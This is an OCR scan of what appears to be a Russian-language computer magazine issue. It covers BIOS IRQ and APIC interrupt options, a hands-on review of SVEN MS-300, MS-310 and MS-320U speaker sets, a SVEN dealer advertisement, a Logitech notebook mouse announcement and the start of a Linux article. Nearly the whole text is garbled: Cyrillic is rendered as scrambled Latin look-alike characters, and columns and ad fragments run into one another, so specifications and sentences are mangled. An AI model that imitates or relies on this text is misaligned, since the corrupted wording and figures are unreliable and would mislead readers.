o liiv Ecnu ucnonsayercs muwe PS/2,310 IRQ 2amavo aommwm ycrponrctsom Mpu orcytcremu s
2 P52 tauis 8 cucTeme PS/2mmwie 8 GoneumncTee CyNOEs MOXET €BWATBATLCAR NON YCTPORCTEO NWWIL NO
pospewenwo BIOS
Cuctemnoe npepusanue MIHONANSHO NDHMEHANOCE PUbMETHUECKHM CONpOLECCOpom,
13 Conpoueccop 76d xotapwi 8 nepewx [K Renanca otaensHoi muxpockemon Heune 310 npepwsanmne
30PEIEPBHPOBONO ANN COBMECTHMOCTH €O crapum 10
MNepauumis
14 6 r BIO! T BuTe ucnon -cuctema
15 e o pospeLennio S moxer Bute ucnonsaosara s SCSI-c A
15 Bropuumnis 5 Toxxe mMOxeT KCnonbaoeoTecs SCSI-unTepdercom, xo™ ObwuHo Ha Hero “NoarpyxaeT”
IDE-xonTpoanep aononHutensubie IDE-gucku Mpw OTCYTCTBMM YETPOMCTE MOXET NDMMERATLCR & NOBwx Lenax
Mpumeuarin

15 — HouewCWHG NpHOpHTET,

* — 3TH CHCTEMHME KOMNOMEHTH XECTRO 30GHKCHPORAHL, M MX KOHGHIYDOUAR HE MOXET GWTh MIMEHEHT

MO KOMMbIOTEP

HEHWUA B MYNbTUNPOLECCOPHBIX CUCTEMOX, W
NO3TOMY HASIMYME B CUCTEME MPOUECCOPA C
APIC ewe He 03HQYQET rAPAHTUPOBAHHOIO
NPUMEHEHUS CUCTEMHOTO KOHTPONNEPO Npe-
PbIBAHWA C PACLMPEHHBIMY BOZMOXHOCTAMM.
Ero ectpausarmne B cuctemy B TOKMX ClydO-
AX MOXET UMETb OI’]LlMOHHbIﬁ XQpakTep.

APIC

BoT 1 nepeas onums, OTHOCAWAACS K 3TOW
uHTepecHon Teme. onHos onums onpene-
nset dyHkUMoHuposanue konTponnepa APIC
B npoueccope. [1p1 Hanuum BTOPOro NPo-
Leccopa B CUCTEME M BKIIOYEHMM Onumm (En-
abled) BTopoi npoueccop moxet BuiTs mc-
NONL3OBAH B OMEPAUMOHHOMR CUCTEME C MyNb-
TUNPOUECCOPHON NofAePXKkon. Ecnu onuus
ycraHvosneHa B Disabled, sTopoi npouec-
Cop nonpocTy BIOKMPYETCs M ONEPOUMOH-
HOW CUCTEMOM HE PACMNO3HAEeTCH, AAXe ec-
M OH GUIMHECKM UMEETCH B KOHDUTYpaLMK
KOMMBIOTEPA.

APIC interrupt Mede

3noyennn onumn (AMI BIOS) mea: Dis-
abled v Enabled. B cnyuae sanpewenus on-
LMK [yCTOHOBAMBAETCS MO YMONYAHWIO) KOH-
tponneps APIC 6ynyt dbyHkuMoHupoBaTs 8
PEXMME CTAHAOPTHLIX KOHTPONNEPOB Npe-
puiBaHMIA ¢ obcnyxusaHuem 16 npepsiea-
HUKA. Brlodere onumm no3BONUT MCNONL3O-
BATb MX POCLWMPEHHBIE BO3MOXHOCTH.

AHONOIMYHBIE ONUMM MOTYT HA3LIBOTLCS
APIC Mode, APIC Select. Onuus Interrupt
Mode, He vmes B HassaHuu Tepmuna APIC,
npeanaraet 3Hauenus PIC v APIC.
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MYSbTUMEMPHBIMU KONOHKOMM KoMNaHun SVEN (www.sven.ua) s
BNEPBLIE CTOMKHYIICH NPUMEPHO TPW FOAC HO30L, KOTAA KO MHE
B PyKW MONGAQ NOPA GKTUBHBIX KONOHOK CTABLUEH yXe NerewH-
napHoi 611+ cepuu. KauectBo mx 3syuanms Beino npocto He-
COM3MEPHMBIM CO CTOMMOCTHIO ©), KOTOPAS HA TOT MOMEHT CO-
crasnana HemHorm Gonee 30 ponnapos. HacsiwenHsie 6ack, He-
MAOXQS NPOPUCOBKA CPEAHUX YACTOT W PASYMHOE KONIMYECTBO BbICO-

KMX HE OCTABUMM PABHOAYLLHbIM HW OGHOrO Ciywatens. Takux xapak-

TEPUCTUK OT HQ TO BPEMSA HE OYEHb U3BECTHOW KOMNOHWM, 4O ELWE 1
8 komnsroTePHbIX AC HUKTO He oxunaan. [ToaTBepxaeH1em STomMy MOX-
HO CYMTATH TOT AKT, Y4TO AC CUX NOP 3TO CEPUA YCMELHO NPOAQET-
Cst HO HAWeM pPbiHke, a LeHa Ha HWX ynana cosCem He3HQUUTENLHO.
HaeepHoe, mano k1o 3HaeT, 410 komnanua SVEN sbinyckaer He Tonk-
KO MYNBTUMEAMIHBIE KONOHKM, HO 1 Hi-Fi akyctieckve cuctemst. A
€€ KOMMAEKTH ANS AOMAWHMX KMHOTEATPOB CTAHOBUNMCH nobeaute-
MMM MHOTUX TECTMPOBAHWIA — B HOMMHOUMK «LieHa-kadecTsoy. [1po-
AyKTbl KOMNAQHWW HE NepeHachiWeHbl BCAYECKUMU «NOME3HOCTAMKUY U
BPOCKUMU, HO HUKOMY HE HYXHBIMWA MATEPUANAMK BPOAE NO30CNOTH
unu KPpacHoro gepesa. 3OTO B HUWX I'lpMMeHﬂIOTCﬂ KO4EeCTBEHHbIE OW-
HOMUKM W CEANAHCUMPOBAHHOR KOHCTPYKLMA KOPMYCa, Yem, B obuwem-
TO, ¥ BOCTUIOIOTCH XOPOLUME XOPAKTEPUCTHKM 3BYHQHMS.

B xone 3100 CTATbM Mbl NO3HAOKOMUMES € TPEMS HOBUHKOMM MyIb-
TUMEOMMHOW OKYCTVKM, CNPOEKTMPOBAOHHOW AN APUMEHEHWS C AO-
mawHmum K. Bece onu sensiorcs cuctemamn 2.1, T.e. napa konoHok
nnioc cabeydep. Beenenve nononHutensHoro cabeydepa A0MKHO
YAYHLWUTb 3BYHOHUE HU3KMX YOCTOT M PA3rPY3UTb COMMU KONIOHKM, Npe-
BOCTaBUB WM BONEE KOYECTBEHHO BOCNPOW3BOANTL CNEKTP CPEOHMX
W BBICOKMX 4OCTOT. Tk fn 3TO, Mbl YOEOUMCS B XOQE TECTUPOBAHMS.

[Nepsbit HOMEPOM, HE TONLKO B 0B30PE, HO W MO CBOEH MAPKM-
poske, Byner mopens akTusHbx konoHok MS-300. [losonsHo yse-
cucTas kOpoBKa NOPANOBANa NOMHOCTLIO PYCHMGMUMPOBAHHON yNa-
KOBKOW, IOXE HE BCKPLIBAR KOTOPYKD, MOXHO Y3HOTh OCHOBHLIE XQ-
POKTEPUCTUKI KOMNNEKTO:

v BeixogHas mowHocTs — 14 + 2x6 Bt

v YocrotHein avanason — 35-18000 Ty

v OtHowenne curHan/wym — He menee 85 b

v Bxogroe conpotuenenne — 10 kOm

v Paamepsl — 110x165%97 mm (konomku), 228x213%240 mm
{cabeydep)

v Dunamukn — 5.257 (cabeydep) u 2x3”7 (konoHkw), ¢ marHuT-
HbIM 3KPAHUPOBAHUEM

v Bec — 5.3 «r

v Hanpsxerue nutanus — 220 B.

Camm KONOHKM BHIMARAT AOBOALHO GyTypucTHueckn (puc. 1) u
NPUBNEKAOT BHUMOHWE — BMNNOTb O MOMEHTA, KOrAQ 6epeLle WX B
pykn ©. Cpasy 4yBCTByETCS NETKOCTH NNACTMACCOBOMO KOPMyCa U
ero He upeansHan cbopka. Ca-
MU JMHOMUKU HUMEM HE 3alimile-
Hbl {noxe Ha cabeydepe), nosto-
My C HAMM cnegyeT oBpalaThes
akkypatHo. B otanune ot nnactu-
KOBbIX KONOHOK, COBBYdep (puc. 2)
nmeet nepessHHbn kopnyc (ICM),
HO KOTOPOM COCPEAOTONEHDI BCE
PA3bEMBL M OPIAHbLI YNDABAEHUA
(puec. 3). C nopknioyenuem cuc-
TEMBI CNPAaBUTCA aaxe pebeHox,
BCE 3NEMEHTAPHO, O HAAMMCH K
KOXA0OMY PA3bEMY HE AOLYT BOM
COBEPLMTE OLMOOHHBIX AEACTBUM.
Mpy skaoyermn cabsydepa 3an-
HSIS CTEHKA MOACBEHMBAETCS O~
ny6eim ceetom (puc. 4), undop-
MUPYS HOC O BK/IIOMEHWM W [O-
Puc.1 6aBnss HEOOLIUHOCTU BHELIHEMY

% Puc.4
suay aesarca. Xanb, 4To pydku
perynupoBok rpomkoctu, HY- 1
BY-Tembpos HOXOASTCA HO 30aHEN
crenke @, 310 He oueHb ynobHo,
0COBEHHO YuMTHIBAS, KyAa OObI-
HO CTOPQIOTCH ynpsTaTe cabay-
dep ©. losops o kauectse BOC-
. Puc.3 NPOM3BEAEHUA, CriesyeT 3aMETUTD,
YTO NPW TECTUPOBOHUM BIOMKETHBIX KOMMIOTEPHBIX KOMOHOK NOMb-
30BATLCA KAKMMM-TO NPUBOPaMU U M3MEPHTENBHOM annapaTypoi
BECCMBICAEHHO NO MHOTWM NpuurHam. COMOV TMOBHON U3 HUX ABNS-
etcs cam nokynatens. Cormacurecs, npuobpeTas Hegoporie Tosa-
PbI, Mbl KE HE XOEM OT HUX CYNepxapakTepUCTUK. TaK 1 C KONOHKA-
mu, nokynatennd AC k ceoemy KOMABIOTEPY 0BLINHO PYKOBOACTBYIOT-
CA HE TONBKO U HE CTONBKO TEXHUYECKMMM XOPAKTEPUCTUKOMH, CKOJb-
KO CTOMMOCTIO. BHIBAIOT, KOHEYHO, WM UCKMIONEHMS, HO TAKUM SIOASIM
3TQ CTATHS Y TOUHO ByaeT HEWHTEPECHA. A BOT HQ Tex, KTO OTK-
YOET HA CAyX NNQCTMACCOBLIE KONOHKM OT AEPEBSHHbIX, M FOTOB He-
MHOTO (CNOBO «HemHOro» credyeT noasepkHyTs ©) packowenuTses,
U OPMEHTMPOBAH ceroaHawHMi 0630p. [aHHaR CTOTLA He mpeTeH-
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Kenesnbid nomok

DYET HO POML TG MOKYNATEAA. ITO AU 0O30P HOBLIX NPOAYK-
TOB, MX QOCTOWHCTE W HEAOCTATKOB, X XAQPAKTEPUCTUK — NNOC, KO-
HEUHO, MOE CyDOBEeKTHBHOE MHEHWE O KOYECTBE BOCMpPOU3BeaeHms. B
nobom cnydae, ecny Bul npuobpetaete AC ana «CBOMX yLiehs, BOM
O4eHb XenaTeneHo e CHa4Yana NpodNywaTtb, W TONBKO NOTOM NPU-
HUMQATL pELUeHne @] NOKYynKe. HO Mbl HEMHOXKO OTBNEeKNUCh OT Te-
Mbl, BEPHEMCH XE K HOWWM HOBUHKOM.

Mocne noaknioueHus u HacTporiku Tembpos cuctemsl MS-300 s
Bbin Heckonbko yansneH. OT NAACTUKOBLIX KOMOHOK TOKOTO Pa3me-
PO § OXKAGN ropa3ao meHbwero. Buanmo, komnarms SVEN He no-
CKYMMAOCH W «noXepTBOBaAna» ans 31on AC KQUEeCTBEHHbIE AUHAMM-
kn. Konesro, Hi-Fi 3Byka el HE nonyunte, HO my3biKa 3By4ana Bnon-
He npunuuHo. TpomkocT ana HeGonbWoN KOMHATH BBINO BNONHE
AOCTATOYHO — MOKCUMANLHBIN YPOBEHL BrionHe cnocober nobecno-
xouTh Bawmx coceneit ©. CTouT OTMETUTL XOPOLWEE KAYECTBO BOC-
NpOM3BEAEHMS CPEAHMX U HW3knx qacToT. Ecin ¢ HY sce Gonee-me-
Hee MOHATHO (BCe xe aepessHHbIN cabsydep), To cpesHui amana-
30H «HO COBECTM» CAMMX KONOHOK. BepxHue 4acToTsl meHee Bbipa-
3UTENBHBI, YyBCTBYETCA HepocTaTok BY-arHamnkos («nuwanoky). Cka-
3QHHOE KACaeTCa myabiku. B urpax xe, meHee TpeboBATENbHBIX K KO-
vectey AC, sce Bbino elwe nyywe. KoHEYHO, OKPyXQKOWero 38yka
NOCAEAHUX UIP Bbl HE UCNbITaeTe, HO Ha mHorke urpsl 300-9 cepus
BQC 3QCTABMT B3MsHYTL NO-apyromy. B uenom komnnekt MS-300 mue
NOHpPaBUNCst. W AM3aiH NpMATHBINA, 1 3BYK BNOMHE TEPNMMBIN, KAK ANS
BIOIKETHBIX KOMOHOK, M FPOMKOCTH AOCTATONHO. HT0 ewe Hopo nonb-
sosareno MK ©2

Cnenyiowmin KOMNNEKT KONOHOK NONy4Mn NopsRakossin Homep 310,
410 rosoput 0 Bonee sbicokux napameTpax. MS-310 noctaensetcs
B YNAKOBKE, TOXE C HOQANUCAMKM HA DYCCKOM A3bIKE, U3 KOTODBIX Mbt
Y3HQEM, 4TO:

v BeixopHos mowHocTs — 22 + 2x7 Br

v OtHoweHune curkan/wym — He meHee 85 ab

v [manason wactor — 35-20 000 Ty

v Bxoproe conpotusnenme — 10 kOm

v Pasmepsl — 118x95x152 mm (konowku), 282x156x230 mm
(cabeydep)

v [Ounammnkn — 5.25” (cabeydep) n 2x3”(KonoHKM), € MArHUTHbIM
3KPAHUMPOBAHUEM

v Bec — 5.5 «r

v Hanpsxenve nutanms — 220 B.

Cucrema MS-310 umeer vHTEpecHsIn BEIPA3MTENLHBIN AU3ANIH C
MNABHbIMW NEPEX0AAMH, 3OKPYIMEHHOCTAMKU K1 T.M. O‘-leHb XAk, 4TO

OPOHXEBAs BCTOBKO BOKPY PYHEK YMPABIEHWS HE MOACBEYMBOETCS
(pre. 5). Takoe pelweHre HaNPOLWKMBAETCH CaMO COBOM, NOSTOMY Xans,
4TO KOMMOHMUS HE CMOTNA OCHACTHTH 3Ty YACTL KOPNYCA NAPOUKON CBE-

Puc.5

MOW KOMMbIOTEP

W poboumx uactor, Mu: 35 - 18000
1a NoTYXHicTh cabeydepa, Br: 14

Hianazor pobounx wactorT, l'u;
HomiHankHa noTymHicTs &mmﬂr 2z

BigHoweHHs curHaniuym, aB: ne mex

nonBlﬁHA
CUNA
XKUBOro

3BYKY

TIONIRUEHT
XAPAKTEPUCTMKM
CABBY®EPA

3PYUHE
PEMYMIOBAHHRA
TYHHOCTI 38YKY
TA TEMBPY

WOXTHBIC T

o WFHHﬁ

), Br: HUX 3BYKOBUX
iMANkHA NOTYMHICTL catenwtie, Br:2x6

BiaHOWeHHA cUrHaniuym, nb: He MeHwe Hik 85

Kopnycy cabsydepa: MO® i CTUNBHIUA AN3ARH

B HAWKATOP MWUBIEHHS

ABGNONOoCH!
CATEINTIA

| 3PYMHE
PEMYNIOBAHHRA
TYYHOCT! 3BYKY
TA TEMBPY

THRKTIOYEHMA
A0 PI3HUX 3BYKOBUX

I MOXNUBICTE

fneunags

ian ropnycy cabeydepa Ta cmnhin. W

Dianazon poGounx Hactor,

H&mnbna noTyXHicTb cabeydep: 'B‘T‘ 25
omuma noTyXHicTh catenuris, Br: 2 x 8
enHA crHaniwym, AB: He Mewwe 85

§ CIMRBHMA QUSARH
B IMKATOP MUBNEHHA

MATHITHE
1 EKPAHYBAHHA

i CATEI'IITM

IPYYHE
PEFYNIOBARNA
TYHHOCTI 3BYKY
TA TEMGPY

TIAKTOYENMA

| MONUIMBICT

1O PI3HMX SBYKOBUX
TIPHNAJIE

%

I‘MHVM BU3ARH
PPTHAMKATOP XWBITEHHA

1 kopnycy cabeydepa Ta catenitis: MOD lBBYAOBAHH“ p
. MP3-NIPOIPABA

p—1

HALWWI NAPTHEPW:

«®okCTpoTs (044) 537-48-00
«Komnacx (044) 531-87-30
«Cnin-Banrs (044) 242-31-99
«Komanx (O44) 216-25-02
«Bncoxl vexvonoriie 461-88-87
«Kapen 417-66-09

OAECA

«Anrpu» 8 (048) 714-49-17
«Tuf» B (0482) 280-812

AHINPONETPOBCLK
«Bopons 8 (0562) 343-040
«Sven fisinpox 8 (0562) 385-501
IANOPINOKA

«@oToxoms 8 (0612) 126-904
XAPKIB

«Taprev» 8 (0572) 585-805
«JTlerion» 8 (0572) 401-347
«DC/Link» 8 (0572) 544-828

BOHEUBK
«®ivo» 8 {062) 381-30-85

NYrAHCBK
«fporonn B (0642) 464-207

BIHHHUA
uBlrous 8 (0432) 356-062

3ATIPOLLYEMO AWAEPIB AO CMIBPOBITHWLITBA (044) 537 29 68
www.sven.ua, audio@sven.ua
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TORMOLOB [NS NOBLILUEHMS €€ MPU-
BNEKATENLHOCTH. 30TO 3ProHOMu-
KO YNPOBNEHMS NPOCTO 3ameya-
tensHa. Ecn y sac cabeydep cro-
WT MDA CTONOM, TO BCE PErynupos-
KM MOXHO HAWTK OAXE HA OLLynkb.
Perynstop rpomMkocTv B gBa pasa
Bonblue OCTankHLIX M NepenyTaTs
€r0 C PErynMpOBKOM TeMBPOB NPak-
THUeCkn HeBo3MOXHO. Kak v ¢ npe-
AbIAYLLEN MOAEMBIO, NOAKNIOYEHHE
OCYWECTBASETCH HO 30OHEN CTEH-
ke cabeydepa (puc. 6). Kak suam-
Te, 30eCh BCE ELUe NMPOLWE, YEM Y
300-% mogenn — 30 MCKIIOHEHN-
ME, MOXANYH, NEPEXOAHKKA (puc. 7),
UAYLLETO B KOMNAEKTE U MO3BONAIO-
Wero yHUuLUMPOBATL BAPUAHTI
NOAKNKOHEHUA AYAUCUCTOHHUKOB.
MpUMUTUBHOS CUCTEMO NOAKITKOYE-
HWSR U NPOCTOTA YNPOBAEHWS TOMb-
KO NpUBABAIOT NNKIOCOB TOM CUC-
Teme. CaTennuTl Ui, APYrimA Co-
BOMM, CTEPEOKONOHKHM (puc. 8), no
3QRBAEHUIO NPOM3BOAUTENS, BLINON-
HEHbl M3 NNACTUKA. XOTS, HA MOM
B3rNsA, TOMWMHO M BeC kopnyca
KONOHOK FOBOPMT O MPUMEHEHMM
OCIM ©, yto Tonbko yryuwaeT mx
ceonctea. Camn kONOHKM, OCHa-
WEHHBIE HECHEMHBIMA 3ALLMTHBIMK
NAHENsIMK, NPOW3BOAAT HENNOXOE
BReYaTNeHre, 30 UCKIIoUEHUEM,
PO3BE 4TO, HENOHSTHLIX BbICTYMNOB
(puc. 9) 3Tux cambix navenein ot-
HOCHTENLHO KOPMYCQ KONOHOK, KO-
TOpbIE MOTYT CNOCOBCTBOBATE HA-
KOMNEHUKO Nbinu. .. M BCEe-TAKK BHELL-
HE KONOHKHM BbINNAAAT Bonee conma-
Ho, dem 300-s mogens. Yro kaca-
€TC KQUYECTBA BOCMPOM3BEAEHMS,
TO BCE O4YEHb MOXOXE HA Npeabl-
aywmia komnnekt, CTouT, ogHako,
OTMETHUTE MEHEE «MNACTMACCOBBINY
3BYK CATENSUTOB — HO, 4TO CTPOH-

B Puc.? HO, MPAKTUYECKM TAKYIO XE MOKCH-
MQAMBHYIO IPOMKOCTb. TAK YTO NOKNOHHMKOM IPOMKOM My3biKK TOT KOM-
MNEKT MOXET HE NOACHTH. B MIpaX M mynbTUMEMAHLIX MPUNOXEHMAX
KaKUX-NMBO NPEUMYLLECTB NO CPOBHEHWIO C NPEaLILYLLEA MOLENLIO 30~
medeHo He 6uno. [Nogsops kpaTkuin UTor, XOTENoCk Bl OTMETUTL, YTO
HUKOKMX CYLLECTBEHHBIX PA3NMYMIA, KDOME OM3ANHEPCKOrO 0dOopMNe-
His, mexay MS-300 u MS-310 a ve 3ameTtun.

Crenyowmit y4aCTHUK Hawero 0630pa HEMHOTO BeIBUBAETCS U3
3TOTO PAAA. XOTb KOMIIEKT U UMEET OYEHb NOXOXEE HA3BAHME MO-
nenn — MS-320U, HO B Hem eCTb «M3IOMMHKA», CTABALLAN €ro Ha
NOPSAOK BLILWE YX& pAcCMOTPEHHbIX npodykTos. Ho obo ecem no
nopsaaky. 1ak xe, Kok 1 npeasiaywme komnnekts, MS-320U senset-
€A CUCTEMOW M3 OBYX KONOHOK W cabeydepa. Kpatkue xapakTepu-
CTUKKU BbIrNAOAT TAK:

v BeixogHast mowHocTs — 25 + 2x8 Br

v OtHowenue curHan/wym — He meree 85 b

¥ Ononason yactor — 32-20 000 My

v Paameps — 140x95%152 mm (konomku), 330x156%230 mm
(cabeydep)

v Ounamukn — 5.257 (caBeydep) n 2x3” + 2x1” (konowkw), ¢
MOFHUTHBIM 3KPDOHUPDOBAHUEM

v Bec — 7 kr

v Hanpsxenuve nutanus — 220 B.

BHewHe komnieKT KONoHOK 1 cabeydepa BLIMALUT CONMAHO U CO3-
[QET BNEYATNEHWE YMEHBLUEHHBIX KOMMIT BOMEE AOPOTUX KOMNOHEHTOB.
Konorkw (pue. 10} UMEIOT ChbEMHBIE 3QWMTHBIE NAHENH, NO3BOASIOLME
MEHSITb MX BHELUHWMA BUA M NOACTPAMBATHL NOA, CBOM uHTepsep. CHas ae-
KOPATUBHYIO NAHENb, MOMUMO OCHOBHOMD, MOXHO HOBMIOAATS HaMMuKe
aononnutensHore BY-auHamuka, nossonsiowero Gonee kauecTBEHHO
BOCNPOM3BOAMTL BBICOKME YaCTOTH. 3aberas Bnepen, ckaxy, 4To 310

Xeneanoii flomox

b A
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pevicTeuTensHo Tok. B 3ton mone-
nM HE TOMBKO KOMOHKM, HO W cab-
sydep (Bnepsbie B Hawem 0630-
pe ©) npencrasnset GONLLIOH MH-
repec (puc. 11). U peno He crons-
KO B CTWILHOM OM3ANHE WNU Ce-
pebpucTom UBETE, CKONMBKO B HE-
NPMMETHOM HQ NMEPBbLI B3MAT PA3b-
eme USB, Haxonswemes B HUXHeNR
yactn kopnyca. Kasanocs 6w,
CTPARHO YBMAETH HQ AKYCTUHECKOM
CHCTEME TAKOW PA3HEM, M NOHAYG-
Ny KOXETCS, YTO 3TO [ONOHUTEMb-
HOS DYHKLMS YNPOBAEHUA C KOM-
NBIOTEPA UMK KAKOWM-HMOYL KOH-
uentparop. Ho Bce okazanocs ro-
pO300 NPOWE W... HEOXUOAHHEN.
30 «CKPOMHBIMY PO3BEMOM CKPbI-
gancs obuikHoBEHHbIM MP3-nnei-
ep. Ha-na, 8 cabeydep MS-320U
YNPATAH NPOUTPLIBATENE My3bIKM C
bN3LU-0PANBOB, NOAKNKONOEMBIX K
pO3beMy HO nepefHer NaHenu
{puc. 12). Ynpagnsts Bocnpouase-
AEHUEM MOXHO C MOMOLLBIO ABYX
KHOMOK, POCMONOXEHHBIX HA Ca-
mom cabeydepe (pue. 13). Mpu-
meHerve MP3-nnesiepa 8 AC —
peLueHre HeODBIYHOE W MHTEPEC-
HOE, HO, HQ MOU B3MMAL, HE OYEHb
norvuHoe. Ecim sl nprobpetaete
KOMMBIOTEPHbIE KOMOHKK, TO HA-
BEPHAKQ CaM KOMMBIOTEP Y BAC YXE
ecTb. CnenosaTensHo, U my3siky Bbl
MOXETE CYLIATH € Er0 NMOMOLIBIO.
Passe 410 anst 0cob0 nenmBsix Nio-
[ei 3Ta GyHKUMA NOOSOVAET KAK Henb3s nyy-
LE: ANA BKAKOYEHUA My3bIki MPHUAETCA COBEP-
waTe meHswe Tenogeuxennid ©. Bee opro-
Hbl YNPOBAEHWS COCPEAOTAYEHHBI TOKXE HO
nepenred naHeny. Tpu perynaTopa (asa tem-
Bpa 1 rPOMKOCTB) MMEKDT OOMHAKOBbIA LIBET
W paamep. JTO He COBCEM YAQ4HOE pelue-
HWe, TOK KOK 4AaLLE BCErO MCMoNb3yeTcs pe-
YMMPOBKA rPOMKOCTH U JIOTUMHBIM 6b|ﬂ0 ee
AMAMETP COENATh HECKONMbKO Bonslue, Yem y
ocTansHbix pydek. Yto kacaetcs 3syka MS-
320U, To cpenv OTAMHMIA OT NPELIAYLLAX KOM-
NAEKTOB MOXHO OTMETUTL BOMEE BLICOKMA
YPOBEHL FPOMKOCTH 1 Bonee SPKO BEIPOXEH-
HbIE BLICOKME 4aCTOTHI. HaCKILLEHHOCTY 1 ry-
BuHb 38K, KOTOPLIE CBOMCTBERHE! Hi-Fi an-
napatype, Het ©. Bnpouem, co ceoen oc-
HOBHOM 3QQYEN — O3BY4MBOHUEM KOMMBIO-
TEPA — 3TA CUCTEMA CPABASETCH XOPOLLO.




Ha ‘sumpune

Hatanba KYLLUHP

Natalia_Kushnir@datalux.ua

YWTHIBAR PAcTylwme obbemsl NPOAAX

HoyTByko8, komnaHus Logitech o6b-

ABUNA O PACLUMPEHUN NIUHENKKU MO-

HUMYARTOPOB A% NOPTOTUBHbIX KOM-
nsioTepos. Jlunenky pononHunu ase Ho-
Bbl€ MbIlK C (b\/HKLlMRMM YRpABNEHUR Nu-
Tannem: Logitech Cordless Mini Optical
Mouse u Logitech V200 Cordless Note-
book Mouse.

Hosbie monenn abneryator paboty nons-
3oBaTens, obecneunsas BCe NPeMmyLLECT-
BQ 6ECNPOBOAHON SKCMAYATAUMM MAHUMTY-
natopos. Kaxgas meis cHabxeHa yaob-
HbIM CBETOBbIM MHAMKATOPOM, KOTOPbIR Npe-
OynNpexageT nons30BATENs O HU3KOM YPOB-
He 3apsna 6arapeun. Kpome 310ro, mbiim
NOABEPXMBAIOT QYHKLMIO YCTAHOBKM plug-
and-play — B WX COCTGB BXOAWT MUHWQ-
TIOpHbIA pecusep BecnpoBOAHON CBA3M,
noaknoyaemsii k passemy USB, koTopuin
nHomemaoyansHo () Hactpaueaetcs ans pa-
BOTH C KOHKDETHOM MbILIBIO YXE HA CTO-
AWK NPOM3BOACTBA. Mbilb HouMHaET pa-
B0oTaTE CPA3Y Xe NOCNe NOAKMIOYEHUS pe-
cuBepa k posvemy USB. B Hepabouem co-
CTOSHUM PECUBED MOXHO YAOBHO BNOXHTL
8 CﬂeLlMOﬂbeIH CNOT B OCHOBOHUU MblLWIK,
DTa onepauMs NPUMBOAMT K QBTOMATMYE-
CKOMY BBIKITIOYEHMIO YCTPORCTBA, MO3BONAA
3KOHOMMTL 3apsa Gotapen u obneryas
TPAHCNOPTUPOBKY MBILLKM M PECHBEPQ.

«Komnanus Logitech paspaboranc ue-
fbIA CNEKTR MOBUIbHBIX MAHWNYNRTOPOB,
KOTOpLIE COOTBETCTBYIOT NOTPEeBHOCTAM
NONL30BATENEH CAMBIX PA3HOOBPA3HBIX HO-
yT6yKoB. MHOMe nons308aTeny 4acTo Bbi-
BAIOT PA30YAPOBAHbI BCTPOEHHBIMU MOHM-
NyNSTOPAMU U CEHCOPHBIMU NAHEASMUY, —
roeoput Awww Apopa (Ashish Aroral, su-
ue-npesnaeHT komnanmm Logitech no Ha-
NPABNEHUIO MOPKETUHT MOHWUMYNSTOPOS.

Meiws Logitech Cordless Mini Optical
Mouse (puc. 1) — upeansHbiit Buibop ans
nonL30BATENEH HOYTOYKOB, KOTOPLIE BbI-
coko ueHsT ynobcreo v npoctoty. Pop-
MQ MBILLWM NOBTOPSET QYEPTAHWUA NGACHHM,
Q e€e KOHCTPYKLMA NPeayCMaTpUBOET ynop
ans Bonbworo nansuo. Ita mogens Byaet
AOCTYNHA WM3HAQYANLHO B ABYX LBETOBLIX
PELEHNaX — OKBAMAPWH 1 cepebpUCTLIf.

) Pue. 1

MOWM KOMNBIOTEP

[Mpu 3TOM OCHOBAHUE MBIV OKPALIEHO B
cepsivt uset (puc. 2).

J
O Puc.2
Logitech Cordless Mini Optical Mouse
CHABXEHA KONECOM MPOKPYTKM C NOAREPX-
kom dyHkumn Logitech Tilt Wheel Plus Zoom,
mbiws cnocobHa paborate HO paccTos-
Hin 10 1.8 m OT kOMNbIOTEPA, G NPOROA-
KUTENLHOCT PABOTH OT OpHON GaTapew
AA COCTOBASET A0 YETHIPEX MECALEB.
Logitech Cordless Mini Optical Mouse
NOCTYNWUT B NPOACQXY B PO3HWUHLIE M OH-
NAAHOBLIE MOrA3UHBI HAYMHAS C MIONS.
Mpeanonaraemos posHuuHas ueHa s Es-
pone coctasut 29.99 espo.
BecnposopHas mbiwe Logitech V200
Cordless Notebook Mouse (puc. 3) no-cso-
emy yHukansHa. [TpofomkuTensHocTs pa-
6oTbl Mbiwn Logitech V200 Cordless Note-
book Mouse ot geyx 6atapeit AA moxet

- Puc.3

aocturats oaHoro roaa (l). 21o crano sos3-
MOXHbIM BNaroaaps MCNONB30BOHMIO UMd-
POBON TexHONOrMK BecnpOBOAHON CBA3M
Ha yactote 2.4 [Tu, kotopas obecneyuso-
eT bonee yCTONYMBYIO CBA3b MEXAY MbILLLIO
u pecusepom (puc. 4) No CpasHEHMIO C
06bi4HbIMKM BECNPOBOAHBIMK MBILIAMM, PA-
Borarwmmn Ha vactote 27 Mlu. TexHo-
norus ubposoi CBA3n Ha YactoTe 2.4 [Ty
NO3BONSET NONL3OBATENAM YAANATLCA C STOM
MBILLBIO OT KOMMLIOTEPA HA PACCTORHME A0

Logitech...

Puc.4

9 M, APM 3TOM CBA3L MbILKM C PECMBEPOM
coxpaHsietca. Takxe 3Ta TexHonorus 6o-
nee yCToMYMBA K MOMEXAM CO CTOPOHSI ApY-
rux BecnpoBOaHbIX CUrHANOB. MoLwHBbIM on-
TUYECKUI MEXTHW3M MbilM cnocoben pa-
B0TATh HA CAMbIX PA3HLIX NMOBEPXHOCTSX,
no3sonss mobunsHeiM NpodeccmoHanam
ceoboaHo BhIBUpaTe mecTo ans paborsl
{puc. 5). C nomowsio 3TOM MbILIM MOXHO
paboTaTh, kK NPUMEPY, B KPECNe B O3po-
NOPTY WK 30 CTONWKOM B Kade.

Puc.5

HoBas mbiwb NOQgEpPXMBAET MHHOBO-
umoHHyto dyHkumio Logitech Tilt Wheel Plus
Zoom, koTopas obecneumsoer ynobHoe
NPOKPYYMBAHUE BBEPX/BHW3 1 BNPOBO/BNE-
BO, d TOKXE yMEHbLUEHUE n yBEnu4eHue
macwraba ans nsobpaxenuin, Web-crpa-
HULL U QOKYMEHTOB.

Buouane notpebutensm Gynyt npen-
noxewsl mopenu Logitech V200 Cordless
Notebook Mouse cepebpsHoro u oHuk-
COBOTO UBETOB, CO3AAHHbE HA Hase no-
nynapHoi meiwn Logitech Cordless Opti-
cal Mouse for Notebooks. Meiws Logitech
V200 Cordless Notebook Mouse nocty-
NUT 8 NPOAAXY B PO3HUYHBIE U OHNONHO-
BbIE MAra3uHbI YXE B 3TOM Mecaue, npea-
nonaraemas posnuunos ueHa e Espone
cocrasut 39.99 espo.
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Cepren APEMYYK
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Cpegm MHOroYMcneHHsIX gUcTpmnbyTneos Linux 0cobein nHTepec ANd HaLUero noib30BaTesis NpencTaBnsoT
pa3paboTky, CAENaHHbIE NPOrpamMMUCcTamMy NOCTCOBETCKOro NPOCTPAHCTBA. He B NocnefHow 04epes —
